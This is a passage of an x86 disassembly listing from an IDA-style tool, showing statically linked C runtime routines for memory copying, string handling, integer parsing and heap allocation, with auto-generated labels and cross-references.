mov ds:dword_42D0A0, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_413609 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_413630 proc near ; CODE XREF: seg000:00401333p
; sub_4018CA+85p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_413683
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_413677
neg ecx
and ecx, 3
jz short loc_413659
sub edx, ecx
loc_413653: ; CODE XREF: sub_413630+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_413653
loc_413659: ; CODE XREF: sub_413630+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_413677
rep stosd
test edx, edx
jz short loc_41367D
loc_413677: ; CODE XREF: sub_413630+18j
; sub_413630+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_413677
loc_41367D: ; CODE XREF: sub_413630+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_413683: ; CODE XREF: sub_413630+Aj
mov eax, [esp+arg_0]
retn
sub_413630 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413690 proc near ; CODE XREF: seg000:004012DFp
; seg000:004012F0p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4136B0
cmp edi, eax
jb loc_413828
loc_4136B0: ; CODE XREF: sub_413690+16j
test edi, 3
jnz short loc_4136CC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4136EC
rep movsd
jmp ds:off_4137D8[edx*4]
; ---------------------------------------------------------------------------
loc_4136CC: ; CODE XREF: sub_413690+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_4136E4
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_4136EC+4[eax*4]
; ---------------------------------------------------------------------------
loc_4136E4: ; CODE XREF: sub_413690+46j
jmp dword ptr ds:loc_4137E8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4136EC: ; CODE XREF: sub_413690+31j
; sub_413690+8Ej ...
jmp ds:off_41376C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_413700
dd offset loc_41372C
dd offset loc_413750
; ---------------------------------------------------------------------------
loc_413700: ; DATA XREF: sub_413690+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_4136EC
rep movsd
jmp ds:off_4137D8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41372C: ; DATA XREF: sub_413690+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_4136EC
rep movsd
jmp ds:off_4137D8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_413750: ; DATA XREF: sub_413690+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_4136EC
rep movsd
jmp ds:off_4137D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41376C dd offset loc_4137CF ; DATA XREF: sub_413690:loc_4136ECr
dd offset loc_4137BC
dd offset loc_4137B4
dd offset loc_4137AC
dd offset loc_4137A4
dd offset loc_41379C
dd offset loc_413794
dd offset loc_41378C
; ---------------------------------------------------------------------------
loc_41378C: ; CODE XREF: sub_413690:loc_4136ECj
; DATA XREF: sub_413690+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_413794: ; CODE XREF: sub_413690:loc_4136ECj
; DATA XREF: sub_413690+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41379C: ; CODE XREF: sub_413690:loc_4136ECj
; DATA XREF: sub_413690+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4137A4: ; CODE XREF: sub_413690:loc_4136ECj
; DATA XREF: sub_413690+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4137AC: ; CODE XREF: sub_413690:loc_4136ECj
; DATA XREF: sub_413690+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4137B4: ; CODE XREF: sub_413690:loc_4136ECj
; DATA XREF: sub_413690+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4137BC: ; CODE XREF: sub_413690:loc_4136ECj
; DATA XREF: sub_413690+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4137CF: ; CODE XREF: sub_413690:loc_4136ECj
; DATA XREF: sub_413690:off_41376Co
jmp ds:off_4137D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4137D8 dd offset loc_4137E8 ; DATA XREF: sub_413690+35r
; sub_413690+92r ...
dd offset loc_4137F0
dd offset loc_4137FC
dd offset loc_413810
; ---------------------------------------------------------------------------
loc_4137E8: ; CODE XREF: sub_413690+35j
; sub_413690+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4137F0: ; CODE XREF: sub_413690+35j
; sub_413690+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4137FC: ; CODE XREF: sub_413690+35j
; sub_413690+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_413810: ; CODE XREF: sub_413690+35j
; sub_413690+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_413828: ; CODE XREF: sub_413690+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41385C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_413850
std
rep movsd
cld
jmp ds:off_413970[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_413850: ; CODE XREF: sub_413690+1B1j
; sub_413690+208j ...
neg ecx
jmp dword ptr ds:loc_413920[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41385C: ; CODE XREF: sub_413690+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_413874
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_413874+4[eax*4]
; ---------------------------------------------------------------------------
loc_413874: ; CODE XREF: sub_413690+1D6j
; DATA XREF: sub_413690+1DDr
jmp ds:off_413970[ecx*4]
; ---------------------------------------------------------------------------
align 4
mov [eax], bh
inc ecx
add [eax-2FFFBEC8h], ch
cmp [ecx+0], al
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_413850
std
rep movsd
cld
jmp ds:off_413970[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_413850
std
rep movsd
cld
jmp ds:off_413970[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_413850
std
rep movsd
cld
jmp ds:off_413970[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_413924
dd offset loc_41392C
dd offset loc_413934
dd offset loc_41393C
dd offset loc_413944
dd offset loc_41394C
; ---------------------------------------------------------------------------
push esp
cmp [ecx+0], eax
loc_413920: ; DATA XREF: sub_413690+1C2r
cmp [bx+di+0], eax
loc_413924: ; DATA XREF: sub_413690+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41392C: ; DATA XREF: sub_413690+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_413934: ; DATA XREF: sub_413690+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41393C: ; DATA XREF: sub_413690+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_413944: ; DATA XREF: sub_413690+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41394C: ; DATA XREF: sub_413690+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_413967: ; CODE XREF: sub_413690+1C2j
jmp ds:off_413970[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_413970 dd offset loc_413980 ; DATA XREF: sub_413690+1B7r
; sub_413690:loc_413874r ...
dd offset loc_413988
dd offset loc_413998
dd offset loc_4139AC
; ---------------------------------------------------------------------------
loc_413980: ; CODE XREF: sub_413690+1B7j
; sub_413690:loc_413874j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_413988: ; CODE XREF: sub_413690+1B7j
; sub_413690:loc_413874j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_413998: ; CODE XREF: sub_413690+1B7j
; sub_413690:loc_413874j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4139AC: ; CODE XREF: sub_413690+1B7j
; sub_413690:loc_413874j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_413690 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4139D0 proc near ; CODE XREF: seg000:004011AEp
; seg000:004011CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_413A1C
loc_4139E0: ; CODE XREF: sub_4139D0+3Cj
; sub_4139D0+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_413A14
or al, al
jz short loc_413A10
cmp ah, [ecx+1]
jnz short loc_413A14
or ah, ah
jz short loc_413A10
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_413A14
or al, al
jz short loc_413A10
cmp ah, [ecx+3]
jnz short loc_413A14
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_4139E0
mov edi, edi
loc_413A10: ; CODE XREF: sub_4139D0+18j
; sub_4139D0+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_413A14: ; CODE XREF: sub_4139D0+14j
; sub_4139D0+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_413A1C: ; CODE XREF: sub_4139D0+Ej
test edx, 1
jz short loc_413A38
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_413A14
inc ecx
or al, al
jz short loc_413A10
test edx, 2
jz short loc_4139E0
loc_413A38: ; CODE XREF: sub_4139D0+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_413A14
or al, al
jz short loc_413A10
cmp ah, [ecx+1]
jnz short loc_413A14
or ah, ah
jz short loc_413A10
add ecx, 2
jmp short loc_4139E0
sub_4139D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_413A60 proc near ; CODE XREF: seg000:00401250p
; sub_418DCD+7F8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_413A79
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_413A79: ; CODE XREF: sub_413A60+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_413A60 endp
; =============== S U B R O U T I N E =======================================
sub_413A94 proc near ; CODE XREF: sub_413B1F+4p
; sub_41C1F2+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_413A9C: ; CODE XREF: sub_413A94+34j
cmp ds:dword_42D2FC, 1
jle short loc_413AB4
movzx eax, byte ptr [edi]
push 8
push eax
call sub_4165E6
pop ecx
pop ecx
jmp short loc_413AC3
; ---------------------------------------------------------------------------
loc_413AB4: ; CODE XREF: sub_413A94+Fj
movzx eax, byte ptr [edi]
mov ecx, ds:off_42D0F0
mov al, [ecx+eax*2]
and eax, 8
loc_413AC3: ; CODE XREF: sub_413A94+1Ej
test eax, eax
jz short loc_413ACA
inc edi
jmp short loc_413A9C
; ---------------------------------------------------------------------------
loc_413ACA: ; CODE XREF: sub_413A94+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_413ADA
cmp esi, 2Bh
jnz short loc_413ADE
loc_413ADA: ; CODE XREF: sub_413A94+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_413ADE: ; CODE XREF: sub_413A94+44j
xor ebx, ebx
loc_413AE0: ; CODE XREF: sub_413A94+7Bj
cmp ds:dword_42D2FC, 1
jle short loc_413AF5
push 4
push esi
call sub_4165E6
pop ecx
pop ecx
jmp short loc_413B00
; ---------------------------------------------------------------------------
loc_413AF5: ; CODE XREF: sub_413A94+53j
mov eax, ds:off_42D0F0
mov al, [eax+esi*2]
and eax, 4
loc_413B00: ; CODE XREF: sub_413A94+5Fj
test eax, eax
jz short loc_413B11
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_413AE0
; ---------------------------------------------------------------------------
loc_413B11: ; CODE XREF: sub_413A94+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_413B1A
neg eax
loc_413B1A: ; CODE XREF: sub_413A94+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_413A94 endp
; =============== S U B R O U T I N E =======================================
sub_413B1F proc near ; CODE XREF: sub_4013E9+12p
; sub_4013E9+1Dp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_413A94
pop ecx
retn
sub_413B1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413B2A proc near ; CODE XREF: seg000:00402036p
; seg000:004021D3p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_415DDC
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_413B69
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_413B76
; ---------------------------------------------------------------------------
loc_413B69: ; CODE XREF: sub_413B2A+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_415CC7
pop ecx
pop ecx
loc_413B76: ; CODE XREF: sub_413B2A+3Dj
mov eax, esi
pop esi
leave
retn
sub_413B2A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_413B80 proc near ; CODE XREF: seg000:00401EAEp
; seg000:00401ECEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_413BFA
mov dh, [ecx+1]
test dh, dh
jz short loc_413BE7
loc_413B98: ; CODE XREF: sub_413B80+52j
; sub_413B80+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_413BBA
test al, al
jz short loc_413BB4
loc_413BA9: ; CODE XREF: sub_413B80+32j
mov al, [esi]
inc esi
loc_413BAC: ; CODE XREF: sub_413B80+3Fj
cmp al, dl
jz short loc_413BBA
test al, al
jnz short loc_413BA9
loc_413BB4: ; CODE XREF: sub_413B80+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_413BBA: ; CODE XREF: sub_413B80+23j
; sub_413B80+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_413BAC
lea edi, [esi-1]
loc_413BC4: ; CODE XREF: sub_413B80+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_413BF3
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_413B98
mov al, [ecx+3]
test al, al
jz short loc_413BF3
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_413BC4
jmp short loc_413B98
; ---------------------------------------------------------------------------
loc_413BE7: ; CODE XREF: sub_413B80+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_415116
; ---------------------------------------------------------------------------
loc_413BF3: ; CODE XREF: sub_413B80+49j
; sub_413B80+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_413BFA: ; CODE XREF: sub_413B80+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_413B80 endp
; =============== S U B R O U T I N E =======================================
sub_413C00 proc near ; CODE XREF: seg000:004021AEp
; sub_403F31+7Cp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_413C15
or eax, 0FFFFFFFFh
jmp short loc_413C4F
; ---------------------------------------------------------------------------
loc_413C15: ; CODE XREF: sub_413C00+Ej
test al, 83h
jz short loc_413C4D
push esi
call sub_416774
push esi
mov edi, eax
call sub_41670E
push dword ptr [esi+10h]
call sub_41665B
add esp, 0Ch
test eax, eax
jge short loc_413C3B
or edi, 0FFFFFFFFh
jmp short loc_413C4D
; ---------------------------------------------------------------------------
loc_413C3B: ; CODE XREF: sub_413C00+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_413C4D
push eax
call sub_413ED3
and dword ptr [esi+1Ch], 0
pop ecx
loc_413C4D: ; CODE XREF: sub_413C00+17j
; sub_413C00+39j ...
mov eax, edi
loc_413C4F: ; CODE XREF: sub_413C00+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_413C00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413C56 proc near ; CODE XREF: seg000:004021A8p
; seg000:0040DD5Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_416846
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_415DDC
push [ebp+arg_0]
mov edi, eax
push esi
call sub_4168D3
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_413C56 endp
; =============== S U B R O U T I N E =======================================
sub_413C88 proc near ; CODE XREF: sub_413CA8+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_416A80
test eax, eax
jnz short loc_413C92
retn
; ---------------------------------------------------------------------------
loc_413C92: ; CODE XREF: sub_413C88+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_416910
add esp, 10h
retn
sub_413C88 endp
; =============== S U B R O U T I N E =======================================
sub_413CA8 proc near ; CODE XREF: seg000:0040216Ep
; sub_403F31+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_413C88
add esp, 0Ch
retn
sub_413CA8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_413CC0 proc near ; CODE XREF: sub_403FCB+2BFp
; sub_407E52+75p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_413D31
sub_413CC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_413CD0 proc near ; CODE XREF: seg000:0040215Dp
; sub_4021FB+2ABp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_413CEC
loc_413CDD: ; CODE XREF: sub_413CD0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_413D1F
test ecx, 3
jnz short loc_413CDD
loc_413CEC: ; CODE XREF: sub_413CD0+Bj
; sub_413CD0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_413CEC
mov eax, [ecx-4]
test al, al
jz short loc_413D2E
test ah, ah
jz short loc_413D29
test eax, 0FF0000h
jz short loc_413D24
test eax, 0FF000000h
jz short loc_413D1F
jmp short loc_413CEC
; ---------------------------------------------------------------------------
loc_413D1F: ; CODE XREF: sub_413CD0+12j
; sub_413CD0+4Bj
lea edi, [ecx-1]
jmp short loc_413D31
; ---------------------------------------------------------------------------
loc_413D24: ; CODE XREF: sub_413CD0+44j
lea edi, [ecx-2]
jmp short loc_413D31
; ---------------------------------------------------------------------------
loc_413D29: ; CODE XREF: sub_413CD0+3Dj
lea edi, [ecx-3]
jmp short loc_413D31
; ---------------------------------------------------------------------------
loc_413D2E: ; CODE XREF: sub_413CD0+39j
lea edi, [ecx-4]
loc_413D31: ; CODE XREF: sub_413CC0+5j
; sub_413CD0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_413D56
loc_413D3D: ; CODE XREF: sub_413CD0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_413DA8
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_413D3D
jmp short loc_413D56
; ---------------------------------------------------------------------------
loc_413D51: ; CODE XREF: sub_413CD0+9Ej
; sub_413CD0+B8j
mov [edi], edx
add edi, 4
loc_413D56: ; CODE XREF: sub_413CD0+6Bj
; sub_413CD0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_413D51
test dl, dl
jz short loc_413DA8
test dh, dh
jz short loc_413D9F
test edx, 0FF0000h
jz short loc_413D92
test edx, 0FF000000h
jz short loc_413D8A
jmp short loc_413D51
; ---------------------------------------------------------------------------
loc_413D8A: ; CODE XREF: sub_413CD0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_413D92: ; CODE XREF: sub_413CD0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_413D9F: ; CODE XREF: sub_413CD0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_413DA8: ; CODE XREF: sub_413CD0+72j
; sub_413CD0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_413CD0 endp
; =============== S U B R O U T I N E =======================================
sub_413DB0 proc near ; CODE XREF: sub_4021FB+1A7p
; sub_4021FB:loc_4023B5p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_413DD0
loc_413DBC: ; CODE XREF: sub_413DB0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_413E03
test ecx, 3
jnz short loc_413DBC
add eax, 0
loc_413DD0: ; CODE XREF: sub_413DB0+Aj
; sub_413DB0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_413DD0
mov eax, [ecx-4]
test al, al
jz short loc_413E21
test ah, ah
jz short loc_413E17
test eax, 0FF0000h
jz short loc_413E0D
test eax, 0FF000000h
jz short loc_413E03
jmp short loc_413DD0
; ---------------------------------------------------------------------------
loc_413E03: ; CODE XREF: sub_413DB0+11j
; sub_413DB0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_413E0D: ; CODE XREF: sub_413DB0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_413E17: ; CODE XREF: sub_413DB0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_413E21: ; CODE XREF: sub_413DB0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_413DB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_413E30 proc near ; CODE XREF: seg000:004024E4p
; sub_403FCB+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_413E50
loc_413E3C: ; CODE XREF: sub_413E30+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_413E3C
loc_413E50: ; CODE XREF: sub_413E30+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_413E30 endp
; =============== S U B R O U T I N E =======================================
sub_413E5F proc near ; CODE XREF: seg000:00402851p
; sub_402881+12p ...
arg_0 = dword ptr 4
push ds:dword_45E864
push [esp+4+arg_0]
call sub_413E71
pop ecx
pop ecx
retn
sub_413E5F endp
; =============== S U B R O U T I N E =======================================
sub_413E71 proc near ; CODE XREF: sub_413E5F+Ap
; sub_414855+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_413E9A
loc_413E78: ; CODE XREF: sub_413E71+27j
push [esp+arg_0]
call sub_413E9D
test eax, eax
pop ecx
jnz short locret_413E9C
cmp [esp+arg_4], eax
jz short locret_413E9C
push [esp+arg_0]
call sub_416AF8
test eax, eax
pop ecx
jnz short loc_413E78
loc_413E9A: ; CODE XREF: sub_413E71+5j
xor eax, eax
locret_413E9C: ; CODE XREF: sub_413E71+13j
; sub_413E71+19j
retn
sub_413E71 endp
; =============== S U B R O U T I N E =======================================
sub_413E9D proc near ; CODE XREF: sub_413E71+Bp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp esi, ds:dword_42D30C
ja short loc_413EB5
push esi
call sub_416EE3
test eax, eax
pop ecx
jnz short loc_413ED1
loc_413EB5: ; CODE XREF: sub_413E9D+Bj
test esi, esi
jnz short loc_413EBC
push 1
pop esi
loc_413EBC: ; CODE XREF: sub_413E9D+1Aj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push ds:dword_45FE60
call ds:dword_41F140 ; RtlAllocateHeap
loc_413ED1: ; CODE XREF: sub_413E9D+16j
pop esi
retn
sub_413E9D endp
; =============== S U B R O U T I N E =======================================
sub_413ED3 proc near ; CODE XREF: sub_4028D6+Ap
; sub_4028EF+7Bp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_413F00
push esi
call sub_416B8D
pop ecx
test eax, eax
push esi
jz short loc_413EF2
push eax
call sub_416BB8
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_413EF2: ; CODE XREF: sub_413ED3+13j
push 0
push ds:dword_45FE60
call ds:dword_41F144 ; RtlFreeHeap
loc_413F00: ; CODE XREF: sub_413ED3+7j
pop esi
retn
sub_413ED3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_413F02(double)
sub_413F02 proc near ; CODE XREF: sub_403007+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push ds:dword_42D0B0
call sub_417EB6
fld [ebp+arg_0]
pop ecx
mov ebx, eax
